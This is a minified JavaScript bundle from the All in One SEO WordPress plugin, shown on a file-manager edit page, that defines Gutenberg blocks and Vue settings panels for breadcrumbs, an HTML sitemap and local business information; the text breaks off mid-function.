File manager - Edit - /home/adiance/public_html/wp-content/plugins/all-in-one-seo-pack/dist/Lite/assets/blocks.3c4a77c0.js
Back
import{_ as w,s as R}from"./js/default-i18n.3881921e.js";import{_ as M}from"./js/_plugin-vue_export-helper.80405f63.js";import{r as b,o as g,c as y,d as m,w as $,D as v,t as h,a as u,I as _e,b as H,f as S,F as pt,M as ht,J as ye,E as Z,l as oe,C as Vt,y as Tt}from"./js/vue.runtime.esm-bundler.ba5c08e0.js";import{l as se}from"./js/index.11f1923e.js";import{l as Bt,B as Ee,b as xe,f as Ne}from"./js/index.df267eaa.js";import{l as Et}from"./js/index.0b123ab1.js";import{a as fe,u as P,l as mt,b as ae,X as me,E as xt,Y as Pt}from"./js/links.4c32e7b9.js";import{I as j,C as At}from"./js/isArrayLikeObject.ab8f4241.js";import{J as Ht}from"./js/JsonValues.870a4901.js";import{S as Mt}from"./js/AddPlus.330aff9f.js";import{S as gt}from"./js/Caret.da0d1a59.js";import{S as Nt}from"./js/External.b6186288.js";import{B as Dt}from"./js/HighlightToggle.d3cce4d2.js";import{C as De}from"./js/Tooltip.d28f6bf4.js";import{G as qt,a as Rt}from"./js/Row.76881ed1.js";import{C as Ut}from"./js/ImageUploader.07c8a71d.js";import{c as He}from"./js/cleanForSlug.cc6d9d47.js";import{D as zt,S as jt}from"./js/Drag.2c503513.js";import{S as Ft}from"./js/Eye.3aa16ebe.js";import{C as Zt}from"./js/Portal.3a9ff02a.js";import{C as Wt}from"./js/Index.f352280d.js";import{t as Qt}from"./js/translations.6e7b2383.js";import{G as Jt}from"./js/constants.238e5b7b.js";import{d as ze}from"./js/debounce.dd5f3974.js";import"./js/Checkbox.5408a8ad.js";import"./js/Checkmark.fe7f082b.js";import"./js/Img.722f356c.js";import"./js/Plus.3b9712cb.js";import"./js/toString.7b877a36.js";import"./js/_baseTrim.8725856f.js";import"./js/_stringToArray.4de3b1f3.js";import"./js/vue.runtime.esm-bundler.8db3b8fc.js";import"./js/Index.0b568ff6.js";import"./js/toNumber.6056980d.js";const we=window.wp,he=we.element.createElement,Gt=we.element.Fragment,Kt=we.components.Disabled,Yt=we.serverSideRender||we.components.ServerSideRender,Xt="all-in-one-seo-pack",eo=he("svg",{width:24,height:25,viewBox:"0 0 24 25",xmlns:"http://www.w3.org/2000/svg"},he("path",{d:"M1.7002 5.31067H10.8705L17.8705 12.5L10.8705 19.6893H1.7002V5.31067ZM10.2856 12.4999C10.2856 13.3284 9.61396 14.0001 8.7854 14.0001C7.95684 14.0001 7.28516 13.3284 7.28516 12.4999C7.28516 11.6713 7.95684 10.9996 8.7854 10.9996C9.61396 10.9996 10.2856 11.6713 10.2856 12.4999ZM6.1933 12.5001C6.1933 13.195 5.62995 13.7584 4.93503 13.7584C4.2401 13.7584 3.67676 13.195 3.67676 12.5001C3.67676 11.8052 4.2401 11.2418 4.93503 11.2418C5.62995 11.2418 6.1933 11.8052 6.1933 12.5001ZM12.6342 13.7584C13.3292 13.7584 13.8925 13.195 13.8925 12.5001C13.8925 11.8052 13.3292 11.2418 12.6342 11.2418C11.9393 11.2418 11.376 11.8052 11.376 12.5001C11.376 13.195 11.9393 13.7584 12.6342 13.7584ZM15.3002 5.31067H12.5771L19.5771 12.5L12.5771 19.6893H15.3002L22.3002 12.5L15.3002 5.31067Z"})),ft="aioseo/breadcrumbs",to={title:w("AIOSEO - Breadcrumbs",Xt),category:"aioseo",icon:eo,example:{},attributes:{primaryTerm:{type:"string",default:null}},edit:function(e){const{setAttributes:t,attributes:n}=e;return window.aioseoBus.$on("standalone-update-post",s=>{s.primary_term&&t({primaryTerm:JSON.stringify(s.primary_term)})}),he(Gt,{},he("div",{},he(window.aioseo.options.breadcrumbs.enable?Kt:"div",null,he(Yt,{block:ft,attributes:{primaryTerm:n.primaryTerm}}))))},save:function(){return null}},oo=Object.freeze(Object.defineProperty({__proto__:null,name:ft,settings:to},Symbol.toStringTag,{value:"Module"}));const so={setup(){return{optionsStore:fe()}},components:{SvgAddPlus:Mt,SvgClose:gt,SvgExternal:Nt},mixins:[Ht],props:{type:{type:String,required:!0}},data(){return{excludeOptions:[],strings:{typeToSearch:this.$t.__("Type to search...",this.$td),noOptionsPosts:this.$t.__("Begin typing a post ID, title or slug to search...",this.$td),noOptionsTerms:this.$t.__("Begin typing a term ID or name to search...",this.$td),noResult:this.$t.__("No results found for your search. Try again!",this.$td),clear:this.$t.__("Clear",this.$td),id:this.$t.__("ID",this.$td),type:this.$t.__("Type",this.$td)}}},computed:{optionName:{get(){return this.type==="posts"?JSON.parse(this.$root.$data.excluded_posts):JSON.parse(this.$root.$data.excluded_terms)},set(e){if(e=JSON.stringify(e),this.type==="posts"){this.$root.$data.excluded_posts=e;return}this.$root.$data.excluded_terms=e}},noOptions(){return this.type==="posts"?this.strings.noOptionsPosts:this.strings.noOptionsTerms}},methods:{processGetObjects(e){return this.optionsStore.getObjects({query:e,type:this.type}).then(t=>{this.excludeOptions=t.body.objects})},getOptionTitle(e,t){e=e.replace(/<\/?[^>]+(>|$)/g,""),t=t.replace(/<\/?[^>]+(>|$)/g,"");const n=new RegExp(`(${t})`,"gi");return e.replace(n,'<span class="search-term">$1</span>')}}},no={class:"aioseo-exclude-posts"},ao={class:"option"},io=["innerHTML"],lo={class:"option-details"},ro=["href","onClick"],co={class:"multiselect__tag"},uo={class:"multiselect__tag-value"},po=["onClick"];function ho(e,t,n,s,o,a){const l=b("svg-add-plus"),r=b("base-button"),d=b("svg-external"),i=b("svg-close"),c=b("base-select");return g(),y("div",no,[m(c,{options:o.excludeOptions,"ajax-search":a.processGetObjects,size:"medium",multiple:"",modelValue:e.getJsonValues(a.optionName),"onUpdate:modelValue":t[0]||(t[0]=p=>a.optionName=e.setJsonValues(p)),placeholder:o.strings.typeToSearch},{noOptions:$(()=>[v(h(a.noOptions),1)]),noResult:$(()=>[v(h(o.strings.noResult),1)]),caret:$(({toggle:p})=>[m(r,{class:"multiselect-toggle",style:{padding:"10px 13px",width:"40px",position:"absolute",height:"36px",right:"2px",top:"2px","text-align":"center",transition:"transform .2s ease"},type:"gray",onClick:p},{default:$(()=>[m(l,{style:{width:"14px",height:"14px",color:"black"}})]),_:2},1032,["onClick"])]),option:$(({option:p,search:f})=>[u("div",ao,[u("div",{class:"option-title",innerHTML:a.getOptionTitle(p.label,f)},null,8,io),u("div",lo,[u("span",null,h(o.strings.id)+": #"+h(p.value),1),u("span",null,h(o.strings.type)+": "+h(p.type),1)])]),u("a",{class:"option-permalink",href:p.link,target:"_blank",onClick:_e(()=>{},["stop"])},[m(d)],8,ro)]),tag:$(({option:p,remove:f})=>[u("div",co,[u("div",uo,h(p.label)+" - #"+h(p.value),1),u("div",{class:"multiselect__tag-remove",onClick:_e(_=>f(p),["stop"])},[m(i,{onClick:_e(_=>f(p),["stop"])},null,8,["onClick"])],8,po)])]),_:1},8,["options","ajax-search","modelValue","placeholder"]),m(r,{type:"gray",size:"small",onClick:t[1]||(t[1]=p=>a.optionName=[])},{default:$(()=>[v(h(o.strings.clear),1)]),_:1})])}const mo=M(so,[["render",ho]]);const go={setup(){return{rootStore:P()}},components:{BaseHighlightToggle:Dt,CoreTooltip:De,GridColumn:qt,GridRow:Rt},props:{type:{type:String,required:!0},excluded:{type:Array,default(){return[]}}},data(){return{strings:{label:this.$t.__("Label:",this.$td),name:this.$t.__("Slug:",this.$td),includeAllPostTypes:this.$t.__("Include All Post Types",this.$td),includeAllTaxonomies:this.$t.__("Include All Taxonomies",this.$td)}}},computed:{includeAllSetting(){const e=this.type+"_all";return this.$root.$data[e]},objects(){const e=this.type==="taxonomies"?"taxonomies":"postTypes";return this.rootStore.aioseo.postData[e].filter(t=>!this.excluded.includes(t.name))}},methods:{getState(){return JSON.parse(this.$root.$data[this.type])},setState(e){this.$root.$data[this.type]=JSON.stringify(e)},getValue(e){return this.getState().includes(e.name)},updateValue(e,t){const n=this.getState();if(e){n.push(t.name),this.setState(n);return}const s=n.findIndex(o=>o===t.name);s!==-1&&(n.splice(s,1),this.setState(n))},isActive(e){return this.getState().findIndex(n=>n===e.name)!==-1}}},fo={class:"aioseo-included-objects-toggle"},$o={class:"included-objects-settings"},bo={class:"aioseo-description"},_o=u("br",null,null,-1);function yo(e,t,n,s,o,a){const l=b("base-toggle"),r=b("core-tooltip"),d=b("base-highlight-toggle"),i=b("grid-column"),c=b("grid-row");return g(),y("div",fo,[u("div",$o,[n.type==="post_types"?(g(),H(l,{key:0,size:"medium",modelValue:e.$root.$data.post_types_all,"onUpdate:modelValue":t[0]||(t[0]=p=>e.$root.$data.post_types_all=p)},{default:$(()=>[v(h(o.strings.includeAllPostTypes),1)]),_:1},8,["modelValue"])):S("",!0),n.type==="taxonomies"?(g(),H(l,{key:1,size:"medium",modelValue:e.$root.$data.taxonomies_all,"onUpdate:modelValue":t[1]||(t[1]=p=>e.$root.$data.taxonomies_all=p)},{default:$(()=>[v(h(o.strings.includeAllTaxonomies),1)]),_:1},8,["modelValue"])):S("",!0),0<a.objects.length&&!a.includeAllSetting?(g(),H(c,{key:2,class:"aioseo-included-list"},{default:$(()=>[(g(!0),y(pt,null,ht(a.objects,(p,f)=>(g(),H(i,{md:"6",key:f},{default:$(()=>[m(d,{size:"medium",active:a.isActive(p),name:p.name,type:"checkbox",modelValue:a.getValue(p),"onUpdate:modelValue":_=>a.updateValue(_,p)},{default:$(()=>[m(r,null,{tooltip:$(()=>[u("div",bo,[v(h(o.strings.label)+" ",1),u("strong",null,h(p.label),1),_o,v(" "+h(o.strings.name)+" ",1),u("strong",null,h(p.name),1)])]),default:$(()=>[u("span",{class:ye(["icon dashicons",`${p.icon||"dashicons-admin-post"}`])},null,2)]),_:2},1024),v(" "+h(p.label),1)]),_:2},1032,["active","name","modelValue","onUpdate:modelValue"])]),_:2},1024))),128))]),_:1})):S("",!0)])])}const wo=M(go,[["render",yo]]);const vo={components:{HtmlSitemapExcludeObjects:mo,HtmlSitemapIncludedObjects:wo},data(){return{sortDirections:[{label:this.$t.__("Ascending",this.$td),value:"asc"},{label:this.$t.__("Descending",this.$td),value:"desc"}],sortOrders:[{label:this.$t.__("Publish Date",this.$td),value:"publish_date"},{label:this.$t.__("Last Updated",this.$td),value:"last_updated"},{label:this.$t.__("Alphabetical",this.$td),value:"alphabetical"},{label:this.$t.__("Post/Term ID",this.$td),value:"id"}],strings:{useDefault:this.$t.__("Use Default Settings",this.$td),postTypes:this.$t.__("Post Types",this.$td),taxonomies:this.$t.__("Taxonomies",this.$td),includeAllPostTypes:this.$t.__("Include All Post Types",this.$td),includeAllTaxonomies:this.$t.__("Include All Taxonomies",this.$td),showLabel:this.$t.__("Show Labels",this.$td),publicationDate:this.$t.__("Show Publication Date",this.$td),archives:this.$t.__("Compact Archives",this.$td),sortOrder:this.$t.__("Sort Order",this.$td),sortDirection:this.$t.__("Sort Direction",this.$td),excludePostsPages:this.$t.__("Exclude Posts / Pages",this.$td),excludeTerms:this.$t.__("Exclude Terms",this.$td)}}},methods:{getSortOrder(e){return this.sortOrders.find(t=>t.value===e)},getSortDirection(e){return this.sortDirections.find(t=>t.value===e)}}},So={class:"aioseo-sidebar-row"},Lo={key:0},ko={class:"aioseo-sidebar-row"},Io={key:0,class:"aioseo-sidebar-row"},Co={key:1,class:"aioseo-sidebar-row"},Oo={key:2,class:"aioseo-sidebar-row"},Vo={class:"aioseo-sidebar-title"},To={key:3,class:"aioseo-sidebar-row"},Bo={class:"aioseo-sidebar-title"},Eo={key:4,class:"aioseo-sidebar-row"},xo={class:"aioseo-sidebar-title"},Po={class:"aioseo-sidebar-row"},Ao={class:"aioseo-sidebar-title"},Ho={key:5,class:"aioseo-sidebar-row"},Mo={class:"aioseo-sidebar-title"},No={key:6,class:"aioseo-sidebar-row"},Do={class:"aioseo-sidebar-title"};function qo(e,t,n,s,o,a){const l=b("base-toggle"),r=b("html-sitemap-included-objects"),d=b("base-select"),i=b("html-sitemap-exclude-objects");return g(),y("div",null,[u("div",So,[m(l,{modelValue:e.$root.$data.default,"onUpdate:modelValue":t[0]||(t[0]=c=>e.$root.$data.default=c)},{default:$(()=>[v(h(o.strings.useDefault),1)]),_:1},8,["modelValue"])]),e.$root.$data.default?S("",!0):(g(),y("div",Lo,[u("div",ko,[m(l,{modelValue:e.$root.$data.archives,"onUpdate:modelValue":t[1]||(t[1]=c=>e.$root.$data.archives=c)},{default:$(()=>[v(h(o.strings.archives),1)]),_:1},8,["modelValue"])]),e.$root.$data.archives?S("",!0):(g(),y("div",Io,[m(l,{modelValue:e.$root.$data.show_label,"onUpdate:modelValue":t[2]||(t[2]=c=>e.$root.$data.show_label=c)},{default:$(()=>[v(h(o.strings.showLabel),1)]),_:1},8,["modelValue"])])),e.$root.$data.archives?S("",!0):(g(),y("div",Co,[m(l,{modelValue:e.$root.$data.publication_date,"onUpdate:modelValue":t[3]||(t[3]=c=>e.$root.$data.publication_date=c)},{default:$(()=>[v(h(o.strings.publicationDate),1)]),_:1},8,["modelValue"])])),e.$root.$data.archives?S("",!0):(g(),y("div",Oo,[u("p",Vo,h(o.strings.postTypes),1),m(r,{type:"post_types",excluded:["attachment"]})])),e.$root.$data.archives?S("",!0):(g(),y("div",To,[u("p",Bo,h(o.strings.taxonomies),1),m(r,{type:"taxonomies"})])),e.$root.$data.archives?S("",!0):(g(),y("div",Eo,[u("p",xo,h(o.strings.sortOrder),1),m(d,{size:"medium",options:o.sortOrders,modelValue:a.getSortOrder(this.$root.$data.order_by),"onUpdate:modelValue":t[4]||(t[4]=c=>this.$root.$data.order_by=c.value),"track-by":"value"},null,8,["options","modelValue"])])),u("div",Po,[u("p",Ao,h(o.strings.sortDirection),1),m(d,{size:"medium",options:o.sortDirections,modelValue:a.getSortDirection(this.$root.$data.order),"onUpdate:modelValue":t[5]||(t[5]=c=>this.$root.$data.order=c.value),"track-by":"value"},null,8,["options","modelValue"])]),e.$root.$data.archives?S("",!0):(g(),y("div",Ho,[u("p",Mo,h(o.strings.excludePostsPages),1),m(i,{type:"posts"})])),e.$root.$data.archives?S("",!0):(g(),y("div",No,[u("p",Do,h(o.strings.excludeTerms),1),m(i,{type:"terms"})]))]))])}const Ro=M(vo,[["render",qo]]),ne=window.wp,z=ne.element.createElement,Uo=ne.element.Fragment,zo=ne.serverSideRender||ne.components.ServerSideRender;var it;const jo=((it=ne.blockEditor)==null?void 0:it.InspectorControls)||ne.editor.InspectorControls,Fo=ne.components.PanelBody,Zo=ne.components.Disabled,je="all-in-one-seo-pack",Wo=z("svg",{width:25,height:25,viewBox:"0 0 25 25",xmlns:"http://www.w3.org/2000/svg"},z("path",{d:"M4.125 4.5H20.125V20.5H4.125V4.5ZM9.71875 6.89062H17.7188V8.49062H9.71875V6.89062ZM17.7188 10.0781H9.71875V11.6781H17.7188V10.0781ZM9.71875 13.2661H17.7188V14.8661H9.71875V13.2661ZM17.7188 16.5H9.71875V18.1H17.7188V16.5ZM6.51562 6.89062H8.11562V8.49062H6.51562V6.89062ZM8.11562 10.0781H6.51562V11.6781H8.11562V10.0781ZM6.51562 13.2661H8.11562V14.8661H6.51562V13.2661ZM8.11562 16.5H6.51562V18.1H8.11562V16.5Z",fillRule:"evenodd",clipRule:"evenodd"})),Ae={},$t="aioseo/html-sitemap",Qo={title:w("AIOSEO - HTML Sitemap",je),category:"aioseo",icon:Wo,example:{},attributes:{default:{type:"boolean",default:!0},post_types:{type:"string",default:'["post", "page"]'},post_types_all:{type:"boolean",default:!0},taxonomies:{type:"string",default:'["category", "post_tag"]'},taxonomies_all:{type:"boolean",default:!0},show_label:{type:"boolean",default:!0},archives:{type:"boolean",default:!1},publication_date:{type:"boolean",default:!0},nofollow_links:{type:"boolean",default:!1},order_by:{type:"string",default:"publish_date"},order:{type:"string",default:"asc"},excluded_posts:{type:"string",default:"[]"},excluded_terms:{type:"string",default:"[]"},is_admin:{type:"boolean",default:window.location&&window.location.pathname.startsWith("/wp-admin/")}},edit:function(e){const{setAttributes:t,attributes:n,className:s,clientId:o,isSelected:a}=e,l="aioseo-"+o;a&&(Ae[o]={},Object.keys(n).forEach(function(d){Ae[o][d]=n[d]}),j({id:l,parent:document.querySelector(".block-editor"),subtree:!0,done:function(d){let i=Z({name:"Blocks/HtmlSitemap",data:function(){return Ae[o]},watch:{$data:{handler:function(c){t(c)},deep:!0}},render:()=>oe(Ro)});i=se(i),i=Bt(i),i=Et(i),mt(i),i.mount(d)}}));const r=z(jo,null,z(Fo,{title:w("Display Settings",je),initialOpen:!0},z("div",null,z("div",{id:l},null))));return z(Uo,{},r,z("div",{className:s},z(Zo,null,z(zo,{block:$t,attributes:{...n}}))))},save:function(){return null}},Jo=Object.freeze(Object.defineProperty({__proto__:null,name:$t,settings:Qo},Symbol.toStringTag,{value:"Module"}));const Go={setup(){return{postEditorStore:ae(),rootStore:P()}},components:{BaseInput:Ee,BaseSelect:xe,BaseToggle:Ne},data(){return{locationsList:[],strings:{selectLocation:this.rootStore.aioseo.localBusiness.postTypeSingleLabel,showLabels:this.$t.__("Show labels",this.$td),showIcons:this.$t.__("Show icons",this.$td),businessInfo:this.$t.__("Business Info",this.$td),showName:this.$t.__("Name",this.$td),address:this.$t.__("Address",this.$td),phoneNumber:this.$t.__("Phone Number",this.$td),faxNumber:this.$t.__("Fax Number",this.$td),emailAddress:this.$t.__("Email Address",this.$td),showVat:this.$t.__("Show VAT ID",this.$td),showTax:this.$t.__("Show Tax ID",this.$td),countryCode:this.$t.__("Phone/Fax Country Code",this.$td),labels:this.$t.__("Labels",this.$td),addressLabel:this.$t.__("Address",this.$td),vatIdLabel:this.$t.__("Vat ID",this.$td),taxIdLabel:this.$t.__("Tax ID",this.$td),phoneLabel:this.$t.__("Phone",this.$td),faxLabel:this.$t.__("Fax",this.$td),emailLabel:this.$t.__("Email",this.$td)}}},methods:{getLocationOptions(e){let t=this.locationsList.find(n=>n.value===e);return!t&&!this.isLocationPostType()&&(t=this.locationsList.find(n=>!!n),t&&(this.$root.$data.locationId=t.value)),t},isLocationPostType(){return this.postEditorStore.currentPost.postType===this.rootStore.aioseo.localBusiness.postTypeName}},created(){this.$root.$data.locations&&this.$root.$data.locations.forEach(e=>{this.locationsList.push({value:e.id,label:e.title.rendered})})}},Ko={key:0,class:"sidebar-row"},Yo={class:"title"},Xo={class:"sidebar-row"},es={class:"sidebar-row"},ts={class:"sidebar-row"},os={class:"title"},ss={class:"sidebar-row"},ns={class:"sidebar-row"},as={class:"sidebar-row"},is={class:"sidebar-row"},ls={key:1,class:"sidebar-row"},rs={class:"sidebar-row"},ds={class:"sidebar-row"},cs={class:"sidebar-row"},us={key:2},ps={class:"sidebar-row"},hs={class:"title"},ms={class:"sidebar-row labels"},gs={key:0},fs={key:1},$s={key:2},bs={key:3},_s={key:4},ys={key:5};function ws(e,t,n,s,o,a){const l=b("base-select"),r=b("base-toggle"),d=b("base-input");return g(),y("div",null,[o.locationsList.length&&!a.isLocationPostType()?(g(),y("div",Ko,[u("p",Yo,h(o.strings.selectLocation),1),m(l,{size:"medium",options:o.locationsList,modelValue:a.getLocationOptions(this.$root.$data.locationId),"onUpdate:modelValue":t[0]||(t[0]=i=>this.$root.$data.locationId=i.value),"track-by":"value"},null,8,["options","modelValue"])])):S("",!0),u("div",Xo,[m(r,{modelValue:e.$root.$data.showLabels,"onUpdate:modelValue":t[1]||(t[1]=i=>e.$root.$data.showLabels=i)},{default:$(()=>[v(h(o.strings.showLabels),1)]),_:1},8,["modelValue"])]),u("div",es,[m(r,{modelValue:e.$root.$data.showIcons,"onUpdate:modelValue":t[2]||(t[2]=i=>e.$root.$data.showIcons=i)},{default:$(()=>[v(h(o.strings.showIcons),1)]),_:1},8,["modelValue"])]),u("div",ts,[u("p",os,h(o.strings.businessInfo),1)]),u("div",ss,[m(r,{modelValue:e.$root.$data.showName,"onUpdate:modelValue":t[3]||(t[3]=i=>e.$root.$data.showName=i)},{default:$(()=>[v(h(o.strings.showName),1)]),_:1},8,["modelValue"])]),u("div",ns,[m(r,{modelValue:e.$root.$data.showAddress,"onUpdate:modelValue":t[4]||(t[4]=i=>e.$root.$data.showAddress=i)},{default:$(()=>[v(h(o.strings.address),1)]),_:1},8,["modelValue"])]),u("div",as,[m(r,{modelValue:e.$root.$data.showPhone,"onUpdate:modelValue":t[5]||(t[5]=i=>e.$root.$data.showPhone=i)},{default:$(()=>[v(h(o.strings.phoneNumber),1)]),_:1},8,["modelValue"])]),u("div",is,[m(r,{modelValue:e.$root.$data.showFax,"onUpdate:modelValue":t[6]||(t[6]=i=>e.$root.$data.showFax=i)},{default:$(()=>[v(h(o.strings.faxNumber),1)]),_:1},8,["modelValue"])]),e.$root.$data.showPhone||e.$root.$data.showFax?(g(),y("div",ls,[m(r,{modelValue:e.$root.$data.showCountryCode,"onUpdate:modelValue":t[7]||(t[7]=i=>e.$root.$data.showCountryCode=i)},{default:$(()=>[v(h(o.strings.countryCode),1)]),_:1},8,["modelValue"])])):S("",!0),u("div",rs,[m(r,{modelValue:e.$root.$data.showEmail,"onUpdate:modelValue":t[8]||(t[8]=i=>e.$root.$data.showEmail=i)},{default:$(()=>[v(h(o.strings.emailAddress),1)]),_:1},8,["modelValue"])]),u("div",ds,[m(r,{modelValue:e.$root.$data.showVat,"onUpdate:modelValue":t[9]||(t[9]=i=>e.$root.$data.showVat=i)},{default:$(()=>[v(h(o.strings.showVat),1)]),_:1},8,["modelValue"])]),u("div",cs,[m(r,{modelValue:e.$root.$data.showTax,"onUpdate:modelValue":t[10]||(t[10]=i=>e.$root.$data.showTax=i)},{default:$(()=>[v(h(o.strings.showTax),1)]),_:1},8,["modelValue"])]),e.$root.$data.showLabels?(g(),y("div",us,[u("div",ps,[u("p",hs,h(o.strings.labels),1)]),u("div",ms,[e.$root.$data.showAddress?(g(),y("div",gs,[u("label",null,h(o.strings.addressLabel),1),m(d,{size:"small",modelValue:e.$root.$data.addressLabel,"onUpdate:modelValue":t[11]||(t[11]=i=>e.$root.$data.addressLabel=i)},null,8,["modelValue"])])):S("",!0),e.$root.$data.showVat?(g(),y("div",fs,[u("label",null,h(o.strings.vatIdLabel),1),m(d,{size:"small",modelValue:e.$root.$data.vatIdLabel,"onUpdate:modelValue":t[12]||(t[12]=i=>e.$root.$data.vatIdLabel=i)},null,8,["modelValue"])])):S("",!0),e.$root.$data.showTax?(g(),y("div",$s,[u("label",null,h(o.strings.taxIdLabel),1),m(d,{size:"small",modelValue:e.$root.$data.taxIdLabel,"onUpdate:modelValue":t[13]||(t[13]=i=>e.$root.$data.taxIdLabel=i)},null,8,["modelValue"])])):S("",!0),e.$root.$data.showPhone?(g(),y("div",bs,[u("label",null,h(o.strings.phoneLabel),1),m(d,{size:"small",modelValue:e.$root.$data.phoneLabel,"onUpdate:modelValue":t[14]||(t[14]=i=>e.$root.$data.phoneLabel=i)},null,8,["modelValue"])])):S("",!0),e.$root.$data.showFax?(g(),y("div",_s,[u("label",null,h(o.strings.faxLabel),1),m(d,{size:"small",modelValue:e.$root.$data.faxLabel,"onUpdate:modelValue":t[15]||(t[15]=i=>e.$root.$data.faxLabel=i)},null,8,["modelValue"])])):S("",!0),e.$root.$data.showEmail?(g(),y("div",ys,[u("label",null,h(o.strings.emailLabel),1),m(d,{size:"small",modelValue:e.$root.$data.emailLabel,"onUpdate:modelValue":t[16]||(t[16]=i=>e.$root.$data.emailLabel=i)},null,8,["modelValue"])])):S("",!0)])])):S("",!0)])}const vs=M(Go,[["render",ws],["__scopeId","data-v-8ebccde0"]]),W=window.wp,B=W.element.createElement,$e=W.element.Fragment;var lt;const Ss=((lt=W.blockEditor)==null?void 0:lt.InspectorControls)||W.editor.InspectorControls,Ls=W.components.PanelBody,ks=W.components.Disabled,Is=W.serverSideRender||W.components.ServerSideRender,Cs=W.data.withSelect,D="all-in-one-seo-pack",Os=B("svg",{width:20,height:19,viewBox:"0 0 20 19",xmlns:"http://www.w3.org/2000/svg"},B("path",{d:"M17.2001 7.2L19.0361 9.036L17.7641 10.308L10.0001 2.544L2.23611 10.308L0.964111 9.036L10.0001 0L14.8001 4.8V2.4H17.2001V7.2ZM10.0001 4.248L17.2001 11.436V18.6H2.80011V11.436L10.0001 4.248ZM12.4001 17.4V11.4H7.60011V17.4H12.4001Z"})),ve={},bt="aioseo/businessinfo",Vs={title:w("AIOSEO Local - Business Info",D),category:"aioseo",icon:Os,example:{},attributes:{locationId:{type:"number",default:null},showLabels:{type:"boolean",default:!0},addressLabel:{type:"string",default:w("Address:",D)},vatIdLabel:{type:"string",default:w("VAT ID:",D)},taxIdLabel:{type:"string",default:w("Tax ID:",D)},phoneLabel:{type:"string",default:w("Phone:",D)},faxLabel:{type:"string",default:w("Fax:",D)},emailLabel:{type:"string",default:w("Email:",D)},showIcons:{type:"boolean",default:!0},showName:{type:"boolean",default:!0},showAddress:{type:"boolean",default:!0},showPhone:{type:"boolean",default:!0},showFax:{type:"boolean",default:!0},showCountryCode:{type:"boolean",default:!0},showEmail:{type:"boolean",default:!0},showVat:{type:"boolean",default:!0},showTax:{type:"boolean",default:!0},dataObject:{type:"string",default:null},updated:{type:"string",default:Date.now()}},edit:Cs(function(e){const t=P();return{locations:e("core").getEntityRecords("postType",t.aioseo.localBusiness.postTypeName,{per_page:100})}})(function(e){var _;const n=(_=fe().options.localBusiness)==null?void 0:_.locations.general.multiple,{setAttributes:s,attributes:o,className:a,clientId:l,isSelected:r}=e;let{locations:d}=e;const i="aioseo-"+l;if(n&&d===null)return B($e,{},B("div",{},w("Loading...",D)));if(d=d===null?[]:d,!n&&o.locationId)return B($e,{},B("div",{},w("Please enable multiple locations before using this block.",D)));const c=P();if(n&&d.length===0)return B($e,{},B("div",{},R(w("No %1$s found",D),c.aioseo.localBusiness.postTypePluralLabel)));const p=ae();o.locationId=!o.locationId&&p.currentPost.postType===c.aioseo.localBusiness.postTypeName?p.currentPost.id:o.locationId,r&&(ve[l]={},Object.keys(o).forEach(function(L){ve[l][L]=o[L]}),ve[l].locations=d,j({id:i,parent:document.querySelector(".block-editor"),subtree:!0,done:function(L){let k=Z({name:"Blocks/BusinessInfo",data:function(){return ve[l]},watch:{$data:{handler:function(I){s(I)},deep:!0}},render:()=>oe(vs)});k=se(k),k.mount(L)}})),p.currentPost.postType===c.aioseo.localBusiness.postTypeName&&j({id:i+"-watcher",parent:document.querySelector(".block-editor"),subtree:!0,done:function(L){let k=Z({name:"Blocks/BusinessInfoWatcher",data:function(){return p.currentPost.local_seo.locations.business},watch:{$data:{handler:function(){s({updated:Date.now()})},deep:!0}},render:()=>oe("div")});k=se(k),k.mount(L)}});const f=B(Ss,null,B(Ls,{title:w("Display Settings",D),initialOpen:!0},B("div",null,B("div",{id:i},null))));return n&&!o.locationId?B($e,{},f,B("div",{},R(w("Select a %1$s",D),c.aioseo.localBusiness.postTypeSingleLabel))):B($e,{},f,B("div",{className:a},B(ks,null,B(Is,{block:bt,attributes:{locationId:o.locationId?o.locationId:0,layout:o.layout,showLabels:o.showLabels,showIcons:o.showIcons,showName:o.showName,showAddress:o.showAddress,showPhone:o.showPhone,showFax:o.showFax,showCountryCode:o.showCountryCode,showEmail:o.showEmail,showVat:o.showVat,showTax:o.showTax,addressLabel:o.addressLabel,vatIdLabel:o.vatIdLabel,taxIdLabel:o.taxIdLabel,phoneLabel:o.phoneLabel,faxLabel:o.faxLabel,emailLabel:o.emailLabel,updated:o.updated,dataObject:p.currentPost.postType===c.aioseo.localBusiness.postTypeName?JSON.stringify(p.currentPost.local_seo.locations.business):null}})),B("div",{},B("div",{id:i+"-watcher"},null))))}),save:function(){return null}},Ts=Object.freeze(Object.defineProperty({__proto__:null,name:bt,settings:Vs},Symbol.toStringTag,{value:"Module"}));const Bs={setup(){return{postEditorStore:ae(),rootStore:P()}},components:{BaseInput:Ee,BaseSelect:xe,BaseToggle:Ne},data(){return{locationsList:[],strings:{selectLocation:this.rootStore.aioseo.localBusiness.postTypeSingleLabel,showTitle:this.$t.__("Show Title",this.$td),showIcons:this.$t.__("Show Icons",this.$td),Monday:this.$t.__("Monday",this.$td),Tuesday:this.$t.__("Tuesday",this.$td),Wednesday:this.$t.__("Wednesday",this.$td),Thursday:this.$t.__("Thursday",this.$td),Friday:this.$t.__("Friday",this.$td),Saturday:this.$t.__("Saturday",this.$td),Sunday:this.$t.__("Sunday",this.$td),label:this.$t.__("Label",this.$td)}}},methods:{getLocationOptions(e){let t=this.locationsList.find(n=>n.value===e);return!t&&!this.isLocationPostType()&&(t=this.locationsList.find(n=>!!n),t&&(this.$root.$data.locationId=t.value)),t},isLocationPostType(){return this.postEditorStore.currentPost.postType===this.rootStore.aioseo.localBusiness.postTypeName}},created(){this.$root._data.locations&&this.$root._data.locations.forEach(e=>{this.locationsList.push({value:e.id,label:e.title.rendered})})}},Es={key:0,class:"sidebar-row"},xs={class:"title"},Ps={class:"sidebar-row"},As={class:"sidebar-row"},Hs={class:"sidebar-row"},Ms={class:"sidebar-row"},Ns={class:"sidebar-row"},Ds={class:"sidebar-row"},qs={class:"sidebar-row"},Rs={class:"sidebar-row"},Us={class:"sidebar-row"},zs={key:1,class:"sidebar-row labels"};function js(e,t,n,s,o,a){const l=b("base-select"),r=b("base-toggle"),d=b("base-input");return 